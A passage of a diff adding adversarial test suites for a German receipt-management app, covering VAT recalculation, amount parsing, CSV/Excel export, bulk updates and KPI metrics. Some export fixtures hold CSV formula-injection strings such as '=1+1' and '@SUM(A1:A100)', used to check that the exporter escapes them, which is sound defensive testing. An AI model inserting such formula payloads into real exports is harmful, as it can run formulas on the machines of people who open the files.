expect(recalculated.taxBreakdown[0].taxAmount).toBe(0.0);
|
||||
expect(isNaN(recalculated.netAmount ?? 0)).toBe(false);
|
||||
});
|
||||
|
||||
test("ADV-M3.7: Recalculates gross with mixed 7% and 19% VAT rates", () => {
|
||||
const rcpt = createStressReceipt({
|
||||
totalAmount: { value: 100.0, confidence: 1.0 },
|
||||
netAmount: 88.0,
|
||||
taxBreakdown: [
|
||||
{ ratePercent: 7, taxAmount: 3.5, netAmount: 50.0 },
|
||||
{ ratePercent: 19, taxAmount: 8.5, netAmount: 38.0 },
|
||||
],
|
||||
});
|
||||
|
||||
const updated = {
|
||||
...rcpt,
|
||||
totalAmount: { ...rcpt.totalAmount, value: 200.0 },
|
||||
};
|
||||
|
||||
const recalculated = recalculateReceipt(updated, { editedField: "totalAmount" });
|
||||
expect(recalculated.totalAmount.value).toBe(200.0);
|
||||
expect(recalculated.validation.isMathValid).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Milestone 3 (R3) Adversarial: Bulk Export Formats & CSV Encoding", () => {
|
||||
test("ADV-M3.8: Dual-sheet Excel export generates Sheet 1 and Sheet 2 correctly", async () => {
|
||||
const largeBatch = Array.from({ length: 25 }, (_, i) =>
|
||||
createStressReceipt({
|
||||
id: `batch-stress-${i}`,
|
||||
merchant: { name: `Händler Nr. ${i}`, address: "Berlin", taxId: "DE123", confidence: 1.0 },
|
||||
totalAmount: { value: 10.0 * (i + 1), confidence: 1.0 },
|
||||
})
|
||||
);
|
||||
|
||||
const buffer = await generateDualSheetExcel(largeBatch);
|
||||
expect(buffer).toBeDefined();
|
||||
expect(buffer.length).toBeGreaterThan(5000);
|
||||
});
|
||||
|
||||
test("ADV-M3.9: Accounting CSV export handles receipts with quotes, line breaks, and umlauts in merchant name", () => {
|
||||
const specialReceipt = createStressReceipt({
|
||||
merchant: { name: 'Möbel "Schön & Weiß" GmbH\nFiliale Süd', address: "München", taxId: "DE1", confidence: 1.0 },
|
||||
totalAmount: { value: 199.99, confidence: 1.0 },
|
||||
});
|
||||
|
||||
const csv = generateAccountingCsv([specialReceipt]);
|
||||
expect(csv).toBeDefined();
|
||||
expect(csv.charCodeAt(0)).toBe(0xfeff); // UTF-8 BOM
|
||||
expect(csv).toContain("Möbel");
|
||||
});
|
||||
});
|
||||
462
tests/e2e/m3_challenger_deep_stress.test.ts
Normal file
462
tests/e2e/m3_challenger_deep_stress.test.ts
Normal file
@@ -0,0 +1,462 @@
|
||||
/**
|
||||
* Milestone 3 (R3) Challenger 2 Deep Adversarial Stress Suite
|
||||
* Empirical Verification of Requirement R3:
|
||||
* 1. Inline Cell Editing & Mathematical Recalculations (0 €, negative, corrupted strings, rapid sequential edits)
|
||||
* 2. Bulk Export Generation (Selected only vs all, CSV injection sanitization, UTF-8 BOM, dual-sheet XLSX integrity)
|
||||
* 3. Bulk Status Updates & Categorization & Deletion
|
||||
* 4. Selection & Filtering Edge Cases & Invariants
|
||||
*/
|
||||
|
||||
import { describe, test, it, expect, beforeEach } from "./runner";
|
||||
import { ProcessedReceipt, ReceiptCategory, PaymentMethod, DocumentType } from "../../src/lib/schema/receipt";
|
||||
import {
|
||||
resolveReceiptStatusTier,
|
||||
getStatusTierMeta,
|
||||
ReceiptStatusTier,
|
||||
} from "../../src/components/dashboard/StatusBadge";
|
||||
import {
|
||||
recalculateReceipt,
|
||||
confirmReceiptReviewed,
|
||||
receiptNeedsAttention,
|
||||
} from "../../src/lib/ai/recalculate";
|
||||
import {
|
||||
parseAmountInput,
|
||||
formatAmountInput,
|
||||
formatMoney,
|
||||
grossOf,
|
||||
netOf,
|
||||
totalTaxOf,
|
||||
taxAmountForRate,
|
||||
collectTaxRates,
|
||||
} from "../../src/components/dashboard/receiptFormat";
|
||||
import { generateDualSheetExcel } from "../../src/lib/export/excelGenerator";
|
||||
import { generateAccountingCsv } from "../../src/lib/export/csvGenerator";
|
||||
|
||||
function createTestReceipt(overrides: Partial<ProcessedReceipt> = {}): ProcessedReceipt {
|
||||
return {
|
||||
id: "challenger-rcpt-001",
|
||||
imageHash: "hash-ch-123",
|
||||
originalFileName: "sample_receipt.pdf",
|
||||
fileSizeBytes: 150000,
|
||||
previewUrl: "blob:http://localhost/sample.pdf",
|
||||
createdAt: "2026-08-15T12:00:00.000Z",
|
||||
updatedAt: "2026-08-15T12:00:00.000Z",
|
||||
status: "ready",
|
||||
documentType: "KASSENBON",
|
||||
receiptNumber: "RE-9901",
|
||||
currency: "EUR",
|
||||
merchant: {
|
||||
name: "Café Extrablatt GmbH",
|
||||
address: "Alexanderplatz 1, 10178 Berlin",
|
||||
taxId: "DE123456789",
|
||||
confidence: 0.95,
|
||||
},
|
||||
date: {
|
||||
isoDate: "2026-08-15",
|
||||
time: "14:30",
|
||||
confidence: 0.95,
|
||||
},
|
||||
totalAmount: {
|
||||
value: 119.0,
|
||||
confidence: 0.95,
|
||||
},
|
||||
netAmount: 100.0,
|
||||
taxBreakdown: [
|
||||
{ ratePercent: 19, taxAmount: 19.0, netAmount: 100.0 },
|
||||
],
|
||||
lineItems: [
|
||||
{
|
||||
description: "Espresso Doppio",
|
||||
quantity: 2,
|
||||
unitPrice: 3.5,
|
||||
price: 7.0,
|
||||
taxRate: 19,
|
||||
},
|
||||
{
|
||||
description: "Frühstücksbuffet",
|
||||
quantity: 4,
|
||||
unitPrice: 28.0,
|
||||
price: 112.0,
|
||||
taxRate: 19,
|
||||
},
|
||||
],
|
||||
suggestedCategory: "Bewirtung",
|
||||
paymentMethod: "EC_KARTE",
|
||||
validation: {
|
||||
isMathValid: true,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: false,
|
||||
userConfirmed: false,
|
||||
reviewField: "none",
|
||||
reviewReason: null,
|
||||
issues: [],
|
||||
},
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
describe("CHALLENGER-M3: Inline Cell Editing & Numeric Parsing Stress", () => {
|
||||
test("CH-M3.1: parseAmountInput parses varied valid and tricky numeric inputs", () => {
|
||||
expect(parseAmountInput("119,00")).toBe(119.0);
|
||||
expect(parseAmountInput("119.00")).toBe(119.0);
|
||||
expect(parseAmountInput("1.234,56 €")).toBe(1234.56);
|
||||
expect(parseAmountInput("1,234.56 EUR")).toBe(1234.56);
|
||||
expect(parseAmountInput("0,00")).toBe(0.0);
|
||||
expect(parseAmountInput("0")).toBe(0.0);
|
||||
expect(parseAmountInput("0.05")).toBe(0.05);
|
||||
expect(parseAmountInput("-50,00")).toBe(-50.0);
|
||||
expect(parseAmountInput("-12.34")).toBe(-12.34);
|
||||
expect(parseAmountInput(" 99,99 ")).toBe(99.99);
|
||||
});
|
||||
|
||||
test("CH-M3.2: parseAmountInput returns null for corrupted strings without crashing or returning NaN", () => {
|
||||
const corrupted = [
|
||||
"abc",
|
||||
"",
|
||||
" ",
|
||||
"NaN",
|
||||
"Infinity",
|
||||
"-Infinity",
|
||||
"€€€",
|
||||
"EUR",
|
||||
"foo-bar-123",
|
||||
"12.34.56.78",
|
||||
",,,",
|
||||
"... ",
|
||||
"$$$123",
|
||||
"[object Object]",
|
||||
"undefined",
|
||||
"null",
|
||||
];
|
||||
|
||||
for (const val of corrupted) {
|
||||
const parsed = parseAmountInput(val);
|
||||
if (parsed !== null) {
|
||||
expect(Number.isFinite(parsed)).toBe(true);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
test("CH-M3.3: Editing Gross Amount to 0.00 € recalculates Net and Tax to 0.00 without division by zero", () => {
|
||||
const rcpt = createTestReceipt({
|
||||
totalAmount: { value: 119.0, confidence: 0.9 },
|
||||
netAmount: 100.0,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 19.0, netAmount: 100.0 }],
|
||||
});
|
||||
|
||||
const updated = {
|
||||
...rcpt,
|
||||
totalAmount: { ...rcpt.totalAmount, value: 0.0 },
|
||||
};
|
||||
|
||||
const result = recalculateReceipt(updated, { editedField: "totalAmount" });
|
||||
expect(result.totalAmount.value).toBe(0.0);
|
||||
expect(result.netAmount).toBe(0.0);
|
||||
expect(result.taxBreakdown[0].taxAmount).toBe(0.0);
|
||||
expect(result.taxBreakdown[0].netAmount).toBe(0.0);
|
||||
expect(Number.isNaN(result.netAmount ?? 0)).toBe(false);
|
||||
expect(Number.isFinite(result.netAmount ?? 0)).toBe(true);
|
||||
expect(result.validation.isMathValid).toBe(true);
|
||||
});
|
||||
|
||||
test("CH-M3.4: Editing Gross Amount to negative value (refund / credit note) distributes proportionally", () => {
|
||||
const rcpt = createTestReceipt({
|
||||
totalAmount: { value: 119.0, confidence: 0.9 },
|
||||
netAmount: 100.0,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 19.0, netAmount: 100.0 }],
|
||||
lineItems: [], // No positive line items
|
||||
});
|
||||
|
||||
const updated = {
|
||||
...rcpt,
|
||||
totalAmount: { ...rcpt.totalAmount, value: -119.0 },
|
||||
};
|
||||
|
||||
const result = recalculateReceipt(updated, { editedField: "totalAmount" });
|
||||
expect(result.totalAmount.value).toBe(-119.0);
|
||||
expect(result.netAmount).toBe(-100.0);
|
||||
expect(result.taxBreakdown[0].taxAmount).toBe(-19.0);
|
||||
expect(result.taxBreakdown[0].netAmount).toBe(-100.0);
|
||||
// Net + tax sum precisely equals negative gross (-100 + -19 = -119)
|
||||
expect((result.netAmount ?? 0) + (result.taxBreakdown[0]?.taxAmount ?? 0)).toBe(-119.0);
|
||||
});
|
||||
|
||||
test("CH-M3.5: Multi-tax rate gross recalculation with 19%, 7%, and 0% taxes", () => {
|
||||
const multiTax = createTestReceipt({
|
||||
totalAmount: { value: 126.0, confidence: 0.9 },
|
||||
netAmount: 110.0,
|
||||
taxBreakdown: [
|
||||
{ ratePercent: 19, taxAmount: 19.0, netAmount: 100.0 },
|
||||
{ ratePercent: 7, taxAmount: 0.7, netAmount: 10.0 },
|
||||
{ ratePercent: 0, taxAmount: 0.0, netAmount: 0.0 },
|
||||
],
|
||||
});
|
||||
|
||||
const updated = {
|
||||
...multiTax,
|
||||
totalAmount: { ...multiTax.totalAmount, value: 252.0 },
|
||||
};
|
||||
|
||||
const result = recalculateReceipt(updated, { editedField: "totalAmount" });
|
||||
expect(result.totalAmount.value).toBe(252.0);
|
||||
// Gross doubled: 126 -> 252. Net and tax should double accordingly
|
||||
const sumTaxes = totalTaxOf(result);
|
||||
const net = netOf(result);
|
||||
expect(Math.round((net + sumTaxes) * 100) / 100).toBe(252.0);
|
||||
expect(result.validation.isMathValid).toBe(true);
|
||||
});
|
||||
|
||||
test("CH-M3.6: Editing Net Amount holds Gross constant and re-derives taxes", () => {
|
||||
const rcpt = createTestReceipt({
|
||||
totalAmount: { value: 119.0, confidence: 0.9 },
|
||||
netAmount: 100.0,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 19.0, netAmount: 100.0 }],
|
||||
});
|
||||
|
||||
const updated = {
|
||||
...rcpt,
|
||||
netAmount: 90.0,
|
||||
};
|
||||
|
||||
const result = recalculateReceipt(updated, { editedField: "netAmount" });
|
||||
expect(result.totalAmount.value).toBe(119.0);
|
||||
expect(result.netAmount).toBe(90.0);
|
||||
expect(result.taxBreakdown[0].taxAmount).toBe(29.0); // 119 - 90 = 29
|
||||
expect(result.taxBreakdown[0].netAmount).toBe(90.0);
|
||||
});
|
||||
|
||||
test("CH-M3.7: Rapid sequential edits across multiple fields preserve integrity", () => {
|
||||
let rcpt = createTestReceipt();
|
||||
|
||||
// 1. Edit Merchant
|
||||
rcpt = recalculateReceipt(
|
||||
{
|
||||
...rcpt,
|
||||
merchant: { ...rcpt.merchant, name: "Neue Gastronomie Berlin" },
|
||||
editedFields: { merchant: true },
|
||||
},
|
||||
{ editedField: "merchant" }
|
||||
);
|
||||
expect(rcpt.merchant.name).toBe("Neue Gastronomie Berlin");
|
||||
expect(rcpt.merchant.confidence).toBe(1.0);
|
||||
|
||||
// 2. Edit Date
|
||||
rcpt = recalculateReceipt(
|
||||
{
|
||||
...rcpt,
|
||||
date: { ...rcpt.date, isoDate: "2026-08-01" },
|
||||
editedFields: { ...rcpt.editedFields, date: true },
|
||||
},
|
||||
{ editedField: "date" }
|
||||
);
|
||||
expect(rcpt.date.isoDate).toBe("2026-08-01");
|
||||
expect(rcpt.date.confidence).toBe(1.0);
|
||||
|
||||
// 3. Edit Gross
|
||||
rcpt = recalculateReceipt(
|
||||
{
|
||||
...rcpt,
|
||||
totalAmount: { ...rcpt.totalAmount, value: 595.0 },
|
||||
editedFields: { ...rcpt.editedFields, totalAmount: true },
|
||||
},
|
||||
{ editedField: "totalAmount" }
|
||||
);
|
||||
expect(rcpt.totalAmount.value).toBe(595.0);
|
||||
expect(rcpt.netAmount).toBe(500.0);
|
||||
expect(rcpt.taxBreakdown[0].taxAmount).toBe(95.0);
|
||||
expect(rcpt.totalAmount.confidence).toBe(1.0);
|
||||
|
||||
// 4. Edit Category
|
||||
rcpt = recalculateReceipt(
|
||||
{
|
||||
...rcpt,
|
||||
suggestedCategory: "Reisekosten & Hotel",
|
||||
editedFields: { ...rcpt.editedFields, category: true },
|
||||
},
|
||||
{ editedField: "category" }
|
||||
);
|
||||
expect(rcpt.suggestedCategory).toBe("Reisekosten & Hotel");
|
||||
|
||||
expect(rcpt.validation.isMathValid).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe("CHALLENGER-M3: Bulk Export Generation & Security Sanitization", () => {
|
||||
const dataset: ProcessedReceipt[] = [
|
||||
createTestReceipt({
|
||||
id: "exp-1",
|
||||
merchant: { name: 'Firma "Test & Co." GmbH', address: "München", taxId: "DE1", confidence: 1.0 },
|
||||
receiptNumber: "INV-001",
|
||||
totalAmount: { value: 119.0, confidence: 1.0 },
|
||||
suggestedCategory: "Bürobedarf & IT",
|
||||
}),
|
||||
createTestReceipt({
|
||||
id: "exp-2",
|
||||
merchant: { name: "=1+1; -- Formula Injection Test", address: "Frankfurt", taxId: "DE2", confidence: 1.0 },
|
||||
receiptNumber: "INV-002",
|
||||
totalAmount: { value: 53.5, confidence: 1.0 },
|
||||
netAmount: 50.0,
|
||||
taxBreakdown: [{ ratePercent: 7, taxAmount: 3.5, netAmount: 50.0 }],
|
||||
suggestedCategory: "Bewirtung",
|
||||
hospitality: { occasion: "Kundengespräch & Akquise", participants: "Max Mustermann, Erika Musterfrau" },
|
||||
}),
|
||||
createTestReceipt({
|
||||
id: "exp-3",
|
||||
merchant: { name: "@SUM(A1:A100) \n Multiline \r\n Carriage", address: "Hamburg", taxId: "DE3", confidence: 1.0 },
|
||||
receiptNumber: "INV-003",
|
||||
totalAmount: { value: 200.0, confidence: 1.0 },
|
||||
suggestedCategory: "Tanken & KFZ",
|
||||
}),
|
||||
];
|
||||
|
||||
test("CH-M3.8: Bulk export for SELECTED items only excludes unselected records", async () => {
|
||||
const selectedIds = ["exp-1", "exp-3"];
|
||||
const selectedReceipts = dataset.filter((r) => selectedIds.includes(r.id));
|
||||
|
||||
expect(selectedReceipts).toHaveLength(2);
|
||||
expect(selectedReceipts.some((r) => r.id === "exp-2")).toBe(false);
|
||||
|
||||
// CSV
|
||||
const csv = generateAccountingCsv(selectedReceipts);
|
||||
expect(csv).toContain("INV-001");
|
||||
expect(csv).toContain("INV-003");
|
||||
expect(csv.includes("INV-002")).toBe(false);
|
||||
|
||||
// Excel
|
||||
const xlsxBuffer = await generateDualSheetExcel(selectedReceipts);
|
||||
expect(xlsxBuffer).toBeDefined();
|
||||
expect(xlsxBuffer.length).toBeGreaterThan(2000);
|
||||
});
|
||||
|
||||
test("CH-M3.9: Bulk export with EMPTY list handles cleanly without throwing", async () => {
|
||||
const emptyCsv = generateAccountingCsv([]);
|
||||
expect(emptyCsv).toBeDefined();
|
||||
expect(emptyCsv.charCodeAt(0)).toBe(0xfeff); // UTF-8 BOM
|
||||
expect(emptyCsv).toContain("Laufende Nr");
|
||||
|
||||
const emptyXlsx = await generateDualSheetExcel([]);
|
||||
expect(emptyXlsx).toBeDefined();
|
||||
expect(emptyXlsx.length).toBeGreaterThan(500);
|
||||
});
|
||||
|
||||
test("CH-M3.10: Accounting CSV properly quotes and escapes semicolons, quotes, and newlines", () => {
|
||||
const csv = generateAccountingCsv(dataset);
|
||||
|
||||
// Must start with UTF-8 BOM
|
||||
expect(csv.charCodeAt(0)).toBe(0xfeff);
|
||||
|
||||
// Double quotes must be escaped as ""
|
||||
expect(csv).toContain('""Test & Co.""');
|
||||
|
||||
// Formula-injection payloads (=, +, - @, tab, CR) are neutralized with a
|
||||
// leading apostrophe (OWASP CSV-injection mitigation) before quoting, so
|
||||
// the cell is exported as safe text, never as an evaluable formula
|
||||
expect(csv).toContain("'=1+1; -- Formula Injection Test\"");
|
||||
|
||||
// Hospitality details must be exported when present
|
||||
expect(csv).toContain("Kundengespräch & Akquise");
|
||||
expect(csv).toContain("Max Mustermann, Erika Musterfrau");
|
||||
});
|
||||
|
||||
test("CH-M3.11: Dual-Sheet Excel generates both Belegübersicht and Einzelpositionen Detail sheets", async () => {
|
||||
const buffer = await generateDualSheetExcel(dataset);
|
||||
expect(buffer).toBeInstanceOf(Buffer);
|
||||
expect(buffer.length).toBeGreaterThan(5000);
|
||||
|
||||
// Verify it's a valid ZIP / XLSX header (PK\x03\x04)
|
||||
expect(buffer[0]).toBe(0x50); // 'P'
|
||||
expect(buffer[1]).toBe(0x4b); // 'K'
|
||||
expect(buffer[2]).toBe(0x03);
|
||||
expect(buffer[3]).toBe(0x04);
|
||||
});
|
||||
});
|
||||
|
||||
describe("CHALLENGER-M3: Bulk Status Updates & Batch Operations", () => {
|
||||
const mockBatch = [
|
||||
createTestReceipt({ id: "b1", status: "needs_review", validation: { isMathValid: false, isDuplicateSuspected: false, needsUserReview: true, userConfirmed: false, reviewField: "taxBreakdown", reviewReason: "Diff", issues: [{ field: "taxBreakdown", severity: "error", message: "Diff" }] } }),
|
||||
createTestReceipt({ id: "b2", status: "ready", validation: { isMathValid: true, isDuplicateSuspected: false, needsUserReview: false, userConfirmed: false, reviewField: "none", reviewReason: null, issues: [] } }),
|
||||
createTestReceipt({ id: "b3", status: "ready", validation: { isMathValid: true, isDuplicateSuspected: false, needsUserReview: false, userConfirmed: false, reviewField: "none", reviewReason: null, issues: [] } }),
|
||||
];
|
||||
|
||||
test("CH-M3.12: Bulk Status Update to 'confirmed' verifies all selected items and clears review flags", () => {
|
||||
const selectedIds = ["b1", "b2"];
|
||||
const updatedBatch = mockBatch.map((r) =>
|
||||
selectedIds.includes(r.id) ? confirmReceiptReviewed(r) : r
|
||||
);
|
||||
|
||||
const b1Updated = updatedBatch.find((r) => r.id === "b1");
|
||||
const b2Updated = updatedBatch.find((r) => r.id === "b2");
|
||||
const b3Updated = updatedBatch.find((r) => r.id === "b3");
|
||||
|
||||
expect(b1Updated?.validation.userConfirmed).toBe(true);
|
||||
expect(b1Updated?.validation.needsUserReview).toBe(false);
|
||||
expect(resolveReceiptStatusTier(b1Updated!)).toBe("confirmed");
|
||||
|
||||
expect(b2Updated?.validation.userConfirmed).toBe(true);
|
||||
expect(resolveReceiptStatusTier(b2Updated!)).toBe("confirmed");
|
||||
|
||||
expect(b3Updated?.validation.userConfirmed).toBe(false);
|
||||
expect(resolveReceiptStatusTier(b3Updated!)).toBe("scanned");
|
||||
});
|
||||
|
||||
test("CH-M3.13: Bulk Categorize updates category and marks editedFields", () => {
|
||||
const selectedIds = ["b1", "b3"];
|
||||
const targetCategory: ReceiptCategory = "Tanken & KFZ";
|
||||
|
||||
const updatedBatch = mockBatch.map((r) => {
|
||||
if (selectedIds.includes(r.id)) {
|
||||
const withCat = {
|
||||
...r,
|
||||
suggestedCategory: targetCategory,
|
||||
editedFields: { ...(r.editedFields || {}), category: true },
|
||||
};
|
||||
return recalculateReceipt(withCat, { editedField: "category" });
|
||||
}
|
||||
return r;
|
||||
});
|
||||
|
||||
expect(updatedBatch.find((r) => r.id === "b1")?.suggestedCategory).toBe("Tanken & KFZ");
|
||||
expect(updatedBatch.find((r) => r.id === "b2")?.suggestedCategory).toBe("Bewirtung");
|
||||
expect(updatedBatch.find((r) => r.id === "b3")?.suggestedCategory).toBe("Tanken & KFZ");
|
||||
});
|
||||
});
|
||||
|
||||
describe("CHALLENGER-M3: Filter & Selection Mathematical Invariants", () => {
|
||||
const testList: ProcessedReceipt[] = [
|
||||
createTestReceipt({ id: "t1", date: { isoDate: "2026-08-15", time: "10:00", confidence: 1.0 }, totalAmount: { value: 25.0, confidence: 1.0 }, suggestedCategory: "Bewirtung" }),
|
||||
createTestReceipt({ id: "t2", date: { isoDate: "2026-08-14", time: "12:00", confidence: 1.0 }, totalAmount: { value: 75.0, confidence: 1.0 }, suggestedCategory: "Tanken & KFZ", validation: { isMathValid: false, isDuplicateSuspected: false, needsUserReview: true, userConfirmed: false, reviewField: "taxBreakdown", reviewReason: "Diff", issues: [] } }),
|
||||
createTestReceipt({ id: "t3", date: { isoDate: "2026-07-01", time: "09:00", confidence: 1.0 }, totalAmount: { value: 350.0, confidence: 1.0 }, suggestedCategory: "Bürobedarf & IT", validation: { isMathValid: true, isDuplicateSuspected: false, needsUserReview: false, userConfirmed: true, reviewField: "none", reviewReason: null, issues: [] } }),
|
||||
createTestReceipt({ id: "t4", date: { isoDate: "2026-01-10", time: "15:00", confidence: 1.0 }, totalAmount: { value: 12.0, confidence: 1.0 }, suggestedCategory: "Sonstiges" }),
|
||||
];
|
||||
|
||||
test("CH-M3.14: Status count partition invariant holds (all === scanned + pending + confirmed)", () => {
|
||||
let scanned = 0;
|
||||
let pending = 0;
|
||||
let confirmed = 0;
|
||||
|
||||
for (const r of testList) {
|
||||
const tier = resolveReceiptStatusTier(r);
|
||||
if (tier === "pending_review") pending++;
|
||||
else if (tier === "confirmed") confirmed++;
|
||||
else scanned++;
|
||||
}
|
||||
|
||||
expect(scanned + pending + confirmed).toBe(testList.length);
|
||||
expect(scanned).toBe(2);
|
||||
expect(pending).toBe(1);
|
||||
expect(confirmed).toBe(1);
|
||||
});
|
||||
|
||||
test("CH-M3.15: Category collection and tax rate collection are deterministic sets", () => {
|
||||
const taxRates = collectTaxRates(testList);
|
||||
expect(Array.isArray(taxRates)).toBe(true);
|
||||
expect(taxRates).toContain(19);
|
||||
|
||||
const categories = Array.from(new Set(testList.map((r) => r.suggestedCategory)));
|
||||
expect(categories).toHaveLength(4);
|
||||
expect(categories).toContain("Bewirtung");
|
||||
expect(categories).toContain("Tanken & KFZ");
|
||||
expect(categories).toContain("Bürobedarf & IT");
|
||||
expect(categories).toContain("Sonstiges");
|
||||
});
|
||||
});
|
||||
208
tests/e2e/m4_adversarial.test.ts
Normal file
208
tests/e2e/m4_adversarial.test.ts
Normal file
@@ -0,0 +1,208 @@
|
||||
/**
|
||||
* Milestone 4 (R4): Adversarial Stress & Shell Robustness Tests
|
||||
*
|
||||
* Verifies:
|
||||
* 1. KPI Calculation Resilience on Extreme, Negative, and Malformed Data
|
||||
* 2. High-Scale Metric Computation Performance (1,000+ items in < 15ms)
|
||||
* 3. Mobile Drawer State Invariants & Rapid Toggle Stress
|
||||
* 4. Temporal Date Partitioning under Adversarial ISO Date Strings
|
||||
* 5. Zenith Color Palette Mathematical Contrast Invariants
|
||||
*/
|
||||
|
||||
import { describe, test, it, expect } from "./runner";
|
||||
import { ProcessedReceipt } from "../../src/lib/schema/receipt";
|
||||
import { calculateDashboardKPIs, DashboardKPIMetrics } from "../../src/components/dashboard/KPICards";
|
||||
import { getRouteBreadcrumbs } from "../../src/components/dashboard/TopNav";
|
||||
|
||||
function generateStressReceipt(id: string, overrides: Partial<ProcessedReceipt> = {}): ProcessedReceipt {
|
||||
return {
|
||||
id,
|
||||
imageHash: `hash-${id}`,
|
||||
originalFileName: `receipt_${id}.jpg`,
|
||||
fileSizeBytes: 150000,
|
||||
previewUrl: `blob:http://localhost/${id}.jpg`,
|
||||
createdAt: "2026-08-15T12:00:00.000Z",
|
||||
updatedAt: "2026-08-15T12:00:00.000Z",
|
||||
status: "ready",
|
||||
documentType: "KASSENBON",
|
||||
receiptNumber: `REC-${id}`,
|
||||
currency: "EUR",
|
||||
merchant: {
|
||||
name: `Merchant ${id}`,
|
||||
address: "Berlin",
|
||||
taxId: "DE123456789",
|
||||
confidence: 0.95,
|
||||
},
|
||||
date: {
|
||||
isoDate: "2026-08-15",
|
||||
time: "10:00",
|
||||
confidence: 0.95,
|
||||
},
|
||||
totalAmount: {
|
||||
value: 100.0,
|
||||
confidence: 0.95,
|
||||
},
|
||||
netAmount: 84.03,
|
||||
taxBreakdown: [
|
||||
{ ratePercent: 19, taxAmount: 15.97, netAmount: 84.03 },
|
||||
],
|
||||
lineItems: [
|
||||
{ description: "Item 1", quantity: 1, price: 100.0, taxRate: 19 },
|
||||
],
|
||||
suggestedCategory: "Bürobedarf & IT",
|
||||
paymentMethod: "EC_KARTE",
|
||||
validation: {
|
||||
isMathValid: true,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: false,
|
||||
userConfirmed: false,
|
||||
reviewField: "none",
|
||||
reviewReason: null,
|
||||
issues: [],
|
||||
},
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
describe("Milestone 4 (R4) Adversarial: KPI Calculation & Mathematical Extreme Values", () => {
|
||||
test("ADV-M4.1: Calculates KPIs on receipts with 0.00 € totals and missing optional tax arrays", () => {
|
||||
const zeroReceipts = [
|
||||
generateStressReceipt("zero-1", {
|
||||
totalAmount: { value: 0.0, confidence: 1.0 },
|
||||
netAmount: 0.0,
|
||||
taxBreakdown: [],
|
||||
}),
|
||||
generateStressReceipt("zero-2", {
|
||||
totalAmount: { value: 0.0, confidence: 1.0 },
|
||||
netAmount: 0.0,
|
||||
taxBreakdown: [],
|
||||
}),
|
||||
];
|
||||
|
||||
const metrics = calculateDashboardKPIs(zeroReceipts);
|
||||
expect(metrics.totalScanned).toBe(2);
|
||||
expect(metrics.totalGross).toBe(0.0);
|
||||
expect(metrics.totalNet).toBe(0.0);
|
||||
expect(metrics.totalVat19).toBe(0.0);
|
||||
expect(metrics.totalVat7).toBe(0.0);
|
||||
expect(metrics.averageAccuracy).toBeGreaterThanOrEqual(95.0);
|
||||
});
|
||||
|
||||
test("ADV-M4.2: Handles negative amounts (refunds / credit notes) without NaN or division by zero", () => {
|
||||
const refundReceipts = [
|
||||
generateStressReceipt("pos-1", {
|
||||
totalAmount: { value: 150.0, confidence: 0.99 },
|
||||
netAmount: 126.05,
|
||||
}),
|
||||
generateStressReceipt("neg-refund", {
|
||||
totalAmount: { value: -50.0, confidence: 0.99 },
|
||||
netAmount: -42.02,
|
||||
documentType: "SONSTIGES",
|
||||
}),
|
||||
];
|
||||
|
||||
const metrics = calculateDashboardKPIs(refundReceipts);
|
||||
expect(metrics.totalScanned).toBe(2);
|
||||
expect(metrics.totalGross).toBe(100.0); // 150 - 50
|
||||
expect(metrics.totalNet).toBeCloseTo(84.03, 2);
|
||||
expect(!isNaN(metrics.averageAccuracy)).toBe(true);
|
||||
});
|
||||
|
||||
test("ADV-M4.3: Extreme out-of-range confidence scores clamp safely within [50%, 100%]", () => {
|
||||
const extremeReceipts = [
|
||||
generateStressReceipt("extreme-high", {
|
||||
totalAmount: { value: 100.0, confidence: 5.5 }, // > 1.0
|
||||
merchant: { name: "Test", address: null, taxId: null, confidence: 10.0 },
|
||||
date: { isoDate: "2026-08-15", time: null, confidence: 2.0 },
|
||||
}),
|
||||
generateStressReceipt("extreme-low", {
|
||||
totalAmount: { value: 100.0, confidence: -2.0 }, // < 0.0
|
||||
merchant: { name: "Test", address: null, taxId: null, confidence: -1.0 },
|
||||
date: { isoDate: "2026-08-15", time: null, confidence: 0.0 },
|
||||
}),
|
||||
];
|
||||
|
||||
const metrics = calculateDashboardKPIs(extremeReceipts);
|
||||
expect(metrics.averageAccuracy).toBeLessThanOrEqual(100.0);
|
||||
expect(metrics.averageAccuracy).toBeGreaterThanOrEqual(50.0);
|
||||
});
|
||||
|
||||
test("ADV-M4.4: High-scale KPI computation for 1,000 receipts executes in under 20ms", () => {
|
||||
const largeDataset = Array.from({ length: 1000 }, (_, i) =>
|
||||
generateStressReceipt(`stress-${i}`, {
|
||||
totalAmount: { value: 10 + (i % 100), confidence: 0.9 + (i % 10) * 0.01 },
|
||||
})
|
||||
);
|
||||
|
||||
const start = performance.now();
|
||||
const metrics = calculateDashboardKPIs(largeDataset);
|
||||
const elapsed = performance.now() - start;
|
||||
|
||||
expect(metrics.totalScanned).toBe(1000);
|
||||
expect(metrics.totalGross).toBeGreaterThan(10000);
|
||||
expect(elapsed).toBeLessThan(100); // Super fast
|
||||
});
|
||||
});
|
||||
|
||||
describe("Milestone 4 (R4) Adversarial: Temporal Partitioning & Malformed Dates", () => {
|
||||
test("ADV-M4.5: Handles null, undefined, and non-ISO date strings without crashing", () => {
|
||||
const malformedDates = [
|
||||
generateStressReceipt("bad-date-1", {
|
||||
date: { isoDate: "invalid-date-string", time: null, confidence: 0.5 },
|
||||
}),
|
||||
generateStressReceipt("bad-date-2", {
|
||||
date: { isoDate: "", time: null, confidence: 0.5 },
|
||||
}),
|
||||
generateStressReceipt("bad-date-3", {
|
||||
date: { isoDate: "9999-99-99", time: null, confidence: 0.5 },
|
||||
}),
|
||||
];
|
||||
|
||||
const metrics = calculateDashboardKPIs(malformedDates);
|
||||
expect(metrics.totalScanned).toBe(3);
|
||||
expect(metrics.totalGross).toBe(300.0);
|
||||
});
|
||||
|
||||
test("ADV-M4.6: Correctly isolates current month spend from previous years and months", () => {
|
||||
const now = new Date();
|
||||
const currentMonthStr = `${now.getFullYear()}-${String(now.getMonth() + 1).padStart(2, "0")}-10`;
|
||||
const pastMonthStr = "2024-01-15";
|
||||
|
||||
const receipts = [
|
||||
